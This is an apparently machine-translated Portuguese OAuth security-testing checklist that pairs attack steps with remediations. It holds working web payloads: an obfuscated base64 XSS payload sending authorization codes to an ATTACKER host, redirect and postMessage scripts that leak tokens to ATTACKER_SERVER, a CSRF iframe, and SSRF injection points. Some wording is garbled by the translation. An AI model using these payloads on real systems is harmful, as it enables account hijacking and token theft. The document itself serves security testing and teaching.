FERRAMENTAL

Atualize constantemente as ferramentas.

SUÍTE BURP

Atualizeo Burp Suitecom as seguintes extensões:

Fonte:https://github.com/portswigger/espresso

Fonte:https://github.com/portswigger/oauth-scan

  • pMDetector: procurando um postMessage mal configurado().

No momento, a extensão pMDetector não está na Bapp Store.
Você tem que baixá-lo nolinke adicioná-lo manualmente:

Fonte: Estudo próprio — Adicionando extensão burp personalizada.

RECON WORDLIST

Ao lidar com o OAuth, é comum ver um determinado domínio para seus propósitos (por exemplo, oauth. example.com). É essencial realizar um diretório de força bruta em ambos os domínios (OAuth & example.com).

  • Lista básica de palavras para detecção de OAuth:
/authorize
/oauth
/oauth/authorize
/oauth/device_authorize
/oauth/device/validate
/oauth/introspect
/oauth/token
/oauth/userinfo
/oauth/logout
/oauth2
/oauth2/authorize
/oauth2/device/validate
/oauth2/device_authorize
/oauth2/introspect
/oauth2/token
/oauth2/userinfo
/oauth2/logout
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
/.well-known/jwks.json
/.well-known/webfinger
  • Diretório de palavras de perfuração bruta — dir.

LISTA DE PALAVRAS SSRF

Lista de palavras SSRFcom espaços reservados, certifique-se de substituí-los antes de usar:

sed -i "s/vps_ip/IPADDRESS/g" SSRF
sed -i "s/domain_collab/YOUR_COLLAB/g" SSRF

CRIMSON_REDIRECTOR

Oscriptgera uma lista de palavras para testes completos de redirecionamento aberto.

Fonte: Estudo próprio — gerando uma lista de palavras para testes de redirecionamento aberto usandocrimson_redirector.pyscript.

DIRETRIZES

I. CÓDIGO DE AUTORIZAÇÃO NÃO ASSOCIADO À CONTA

Substitua os dados de id da última etapa no fluxo de autorização.

  • O atacante pode se passar por qualquer usuário.

Fonte: Estudo próprio — Testando o tipo de subvenção implícita OAuth com token não apertado para uma sessão de usuário.

O Código de Autorização deve ser apertado apenas para o usuário iniciado o processo OAuth.
Use o tipo de concessão de código de autorização, em vez do tipo de subvenção implícita.
Use ofluxo de Código de AutorizaçãocompkCE.

II. FALSIFICAÇÃO DE TOKEN JWT

Se o JWT estiver em uso, verifique o[**AppSec Tales VIII JWT](https://karol-mazurek95.medium.com/appsec-tales-viii-jwt-7e28b8fc0dd2).**

III. PROTEÇÃO FRACA DE CSRF (ESTADO)

Verifique se há uma proteção CSRF e teste-a.

  • O agressor pode sequestrar a conta da vítima realizando um ataque de falsificação de solicitações no local.

Fonte: Estudo próprio — testando a falta de parâmetro estatal durante o processo de vinculação de perfil.

PoC simples para solicitações GET:

<iframe src="https://URL/oauth-linking?code=STOLEN-CODE"></iframe>

Além disso, teste o parâmetro estadual conforme descrito noAppSec Tales VII:

  • III. CSRF
  • IV. TOKEN CSRF BRUTO

Verifique odesvio CSRF de fluxo OAth no GitHub usando o método HEAD.

Use oparâmetro do estadocomo um token anti-csrf.
Use ofluxo de Código de AutorizaçãocompkCE.

IV. REFERER HEADER LEAK — code&state

Navegue até uma página de terceiros a partir da URL com dados confidenciais.

  • Se o Código de Autorização for refletido dentro do cabeçalho do Remetente enquanto visita o site de terceiros, ele pode ser vazado pelo invasor e reutilizado para sequestrar a conta da vítima.

Fonte: Estudo próprio — Exemplo de um vazamento de código de cabeçalho do referenciador para o aplicativo de terceiros.

Use ocabeçalho de segurança HTTP de política de referrer.
Não envie nenhuma informação sensível no cabeçalho do Remetente.

V. VAZAMENTO DE TOKEN DE ACESSO AO HISTÓRICO DO NAVEGADOR

Execute o fluxo completo do OAuth e verifique o histórico do navegador para vazamentos.

Same as CREDENTIALS OVER AN UNENCRYPTED CHANNEL.

VI. CREDENCIAIS SOBRE UM CANAL NÃO CRIPTOGRAFADO

Verifique se os dados são transferidos via HTTP ou como parâmetro na URL.

  • Os dados confidenciais podem ser registrados pelo navegador, pelo servidor web e servidores proxy avançados ou reversos entre os dois pontos finais.
  • Também pode ser exibido na tela, marcado ou enviado por e-mail pelos usuários.
  • Quando quaisquer links fora do site são seguidos, eles podem ser divulgados a terceiros através do cabeçalho Do Referer.

Fonte: Estudo próprio — Exemplo do Token de Acesso transmitido no caminho usando HTTP.

Fonte:WSTG Testing for OAuth Weaknesses.

Use um protocolo de transferência de hipertexto seguro (HTTPS).
Use um mecanismo alternativo para transmitir tokens de sessão, como cookies HTTP oucampos ocultos em formulários que são enviados usando o método POST.

VII. ARMAZENAMENTO DE CREDENCIAIS INSEGURAS

Verifique se há dados confidenciais no armazenamento local.

  • O atacante pode vazar o AC AT Token RT usando XSS.

Fonte: Estudo próprio — Verificando o Armazenamento Local para obter quaisquer credenciais.

Use cookies para armazenar credenciais em vez do localStorage.
Certifique-se de que os cookies têm atributos HttpOnly, Secure e SameSite definidos.

VIII. TEMPO DE VALIDADE LONGO | CÓDIGO DE AUTORIZAÇÃO REUTILIZÁVEL

Verifique se você pode reutilizar o Código de Autorização após 24 horas.

  • Em caso de vazamento do Código de Autorização, o invasor poderia reutilizá-lo para trocá-lo por Access Token e sequestrar a conta da vítima.

Fonte: Estudo próprio — Testando código de autorização reutilizável.

Se o Código de Autorização for trocado por um Token de Acesso, invalide o Código de Autorização e não emita mais nenhum Token de Acesso contra ele.
Para ostokens JWT, use o mecanismo ‘‘Ressuná-lo’

IX. VALIDAÇÃO DE REDIRECT_URI FRACA

Alterar o valor redirect_uri e vazar o Código de Autorização.

  • O agressor poderia enviar o link malicioso para a vítima para roubar seu Código de Autorização, sequestrando assim a conta da vítima.

Fonte: Estudo próprio — testando parâmetro fraco redirect_uri (crimson_redirectOR)

  • Eu recomendo muito que você estude ocrimson_redirectOR.pyroteiro para ver muitas técnicas para contornar os validadores.

Exigir que os pedidos do cliente registrem uma lista branca de redirect_uris válidos.
Use uma comparação de byte-to-byte rigorosa para validar o URI.
Permitir correspondências completas e exatas.

X. REDIRECIONAMENTO DO CAMINHO PARA O ENDPOINT ESTÁTICO+ XSS (FLUXO DE RUPTURA)

Redirecione o fluxo para o ponto final estático no mesmo domínio para quebrá-lo.

  • O invasor poderia usar o ponto final estático dentro do aplicativo para quebrar o fluxo de execução.
  • Em seguida, evite que o aplicativo consuma o Código de Autorização de Uso Único.
  • Em seguida, acorrente-o com uma vulnerabilidade XSS encontrada em qualquer ponto final em todo o aplicativo para vazar o Código de Autorização.

  • Exemplo de umacarga XSS para explorar o problema:
    (Créditos paraDawiddaAFINEpara encontrar isso)
<img src=x onerror=location=atob`amF2YXNjcmlwdDp4PXdpbmRvdy5vcGVuKCJodHRwczovL1RBUkdFVC9jYWxsYmFjaz9yZWRpcmVjdFVybD1odHRwczovL1RBUkdFVC80MDEuaHRtbCIpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb2N1bWVudC5sb2NhdGlvbj0naHR0cDovL0FUVEFDS0VSLz9jPScreC5sb2NhdGlvbjt9LDUwMDApOw==`>

Exigir que os pedidos do cliente registrem uma lista branca de redirect_uris válidos.
Use uma comparação de byte-to-byte rigorosa para validar o URI.
Permitir correspondências completas e exatas.

XI. REDIRECIONAMENTO DO CAMINHO + TRAVESSIA DE CAMINHO

Redirecione o fluxo para o ponto final no mesmo domínio usando a travessia de caminho.

  • O invasor poderia usar a vulnerabilidade no outro ponto final dentro do aplicativo e o novo caminho como uma página proxy para roubar o Token de Acesso da vítima, sequestrando assim sua conta.

Fonte: Estudo próprio — roubar código OAuth através do redirecionamento de caminhos (TRAVERSAL_DIR_ONLY).

  • Exemplo de script para exploração doredirecionamento do caminhopara o ponto final vulnerável aoLaboratório De Redirecionamento Aberto (PortSwigger).

Obtenha oclient_idenonce, deixando cair a solicitação original para sua conta.

<script>
    if (!document.location.hash) {
        window.location = 'https://OAUTH_TARGET/auth?client_id=ATTACKER_ID&redirect_uri=https://TARGET/oauth-callback/../post/next?path=https://ATTACKER_SERVER/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
    } else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>
  • Exemplo de script para exploração doredirecionamento do caminhopara o ponto final vulnerável àinjeção HTML (vaze através do cabeçalho do remetente).
<img src="ATTACKER_COM">
  • Exemplo de script para exploração doredirecionamento do caminhopara o ponto final vulnerável aovazamento de dados através do PostMessage (laboratório PortSwigger).
<iframe src="https://TARGET/auth?client_id=ATTACKER_ID&redirect_uri=https://TARGET/oauth-callback/../post/comment&response_type=token&nonce=-1552239120&scope=openid%20profile%20email"></iframe><script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

Fonte: Estudo próprio — exemplo de um pós-Pesquisa mal configurado() detectado pelopMDetector.

Fonte: Estudo próprio — exemplo de cabeçalho de segurança HTTP perdido que permitiu carregar a página na tag iframe.

Exigir que os pedidos do cliente registrem uma lista branca de redirect_uris válidos.
Use uma comparação de byte-to-byte rigorosa para validar o URI.
Permitir correspondências completas e exatas.

XII. REGISTRO DE SOLICITAÇÃO DE CLIENTE NÃO VERIFICADO

Verifique se é possível registrar sua solicitação de cliente.

O provedor OpenID deve exigir que o aplicativo do cliente se autentique. Por exemplo, use um token portador HTTP.

XIII. REGISTRO DINÂMICO DE CLIENTES SSRF EM OpenID

Encontre o ponto final de inscrição openID e verifique se há SSRF.

Fonte: Estudo próprio — Teste para SSRF no registro dinâmico de clientes OpenID (wordlist SSRF).

Fonte:PortSwigger — Exemplo de corpo de uma solicitação POST para o ponto final do registro OpenID.

Laboratório: SSRF via OpenID | de registro dinâmico de clientes Academia de Segurança Web

portswigger.net

  • Pontos de injeção comuns:
logo_uri
jwks_uri
sector_identifier_uri
request_uris
redirect_uris
contacts
tos_uri
policy_uri
client_uri
redirect_uri
initiate_login_uri

O provedor OpenID deve exigir que o aplicativo do cliente se autentique.
Não implante o OpenID em sistemas frontais e controle o tráfego local nesses sistemas.

XIV. AQUISIÇÃO DE PRÉ-CONTA

Registre-se duas vezes usando o OAuth e com um e-mail e senha.

  • O invasor poderia sequestrar uma conta que o usuário criou com o OAuth.
  • O agressor poderia armar uma armadilha registrando uma conta usando o e-mail da vítima e esperando a vítima fazer login usando o método OAuth.

Fonte: Estudo próprio — Testandométodos de registro de SSO.

A validação por e-mail deve ser implementada.

XV. CÓDIGOS BRUTÍVEIS

Verifique a entropia do estado&AC&AT&RT usando o Sequenciador de Burp.

  • O agressor pode roubar a conta da vítima.

Fonte: Estudo próprio — Exemplo de um órgão DE CÓDIGO DE AUTORIZAÇÃO DO PROVEDOR DE SERVIÇOS POST.

Fonte: Estudo próprio — [AppSec Tales II Login](https://karol-mazurek95.medium.com/appsec-tales-ii-sign-in-3e880f16c588)

O valor do ID da sessão deve fornecer pelo menos 64 bits de entropia.
Seu comprimento deve ser de pelo menos 128 bits (16 bytes).
Também deve ser exclusivo para evitar IDs duplicados.
Implementar limitação de taxa à medida que desacelera um atacante.
Use um gerador de números pseudoaleatórios (CSPRNG) que é apropriadamente semeado.

XVI. TOKEN DE ACESSO REUTILIZÁVEL

Reutilize o Token de acesso após invalidá-lo.

  • O aplicativo malicioso poderia manter persistentemente o acesso aos usuários, apesar de desautorizar o aplicativo.
  • O invasor pode sequestrar a conta em caso de vazamento do Access Token.

Fonte: Estudo próprio — Testando token de acesso reutilizável.

O Token de Acesso não deve ser utilizável após sua invalidação.

XVII. ACESSO QUEBRADO

Reutilize o Token de Acesso para outros aplicativos.

Fonte: Estudo próprio — Testando controle de acesso quebrado nas implementações do OAuth.

O Token de Acesso não deve ser utilizável em outros aplicativos.

XVIII. FUZZING OAuth PARÂMETROS VALORES

Realize o teste de validação de entrada em todos os campos de OAuth.

  • O impacto depende do tipo de vulnerabilidade detectada.
  • Tudo depende do tipo de vulnerabilidade e do contexto.
  • Umexemplo de vulnerabilidade XSScrítica para uma implementação de SSO.
payloads.txt - comprehensive wordlist for fuzzing.

Algumas cargas enviam os pacotes ICMP ou TCP na porta 80 quando as cargas são acionadas (se as vulnerabilidades potenciais forem encontradas).

Você precisa iniciar dois ouvintes em seu VPS para fazê-los funcionar:

Fonte: Estudo próprio — Iniciando o farejador do ICMP.

Fonte: Estudo próprio — Iniciando o servidor HTTP na porta 80.

Verifique afolha de trapaça de validação de entradada OWASP.

XIX. FORÇANDO A CONCESSÃO IMPLÍCITA — response_type

Converta a concessão do Código de Autorização para uma concessão implícita.

  • Isso levará a pular o estágio envolvendo um Código de Autorização e retornar imediatamente um Token de Acesso.

Fonte: Estudo próprio — Forçando a Concessão Implícita.

Use o tipo de concessão de código de autorização e não permita alterá-lo do lado do cliente.
Use ofluxo de Código de AutorizaçãocompkCE.

XX. ENUMERAÇÃO DO USUÁRIO USANDO OpenID

Enumerar usuários usando o ponto final /.bem conhecido/webfinger.

  • O invasor pode adivinhar os nomes de usuário do aplicativo válidos.

Fonte: Estudo próprio — Enumerando usuários usando o ponto final do Webfinger OpenID.

Não deve ser possível adivinhar os usuários do aplicativo.

XXI. CONDIÇÃO DE CORRIDA

Troque um AC/RT por muitos ATs usando Turo Intruder.

  • O aplicativo malicioso poderia manter persistentemente o acesso aos usuários, apesar de desautorizar o aplicativo.
  • Criando Seguidores Falsos, curtidas e assinantes.
  • O dinheiro perde no caso de cupons de código de uso único.

Fonte: Estudo próprio — Testando a condição da corrida no fluxo de OAuth.

  • Estudos de caso que valem a pena ler sobre condições raciais em OAuth:

Apenas um Token de Acesso deve ser ganho em troca do código de autorização único ou do Token de atualização.

Artigo Original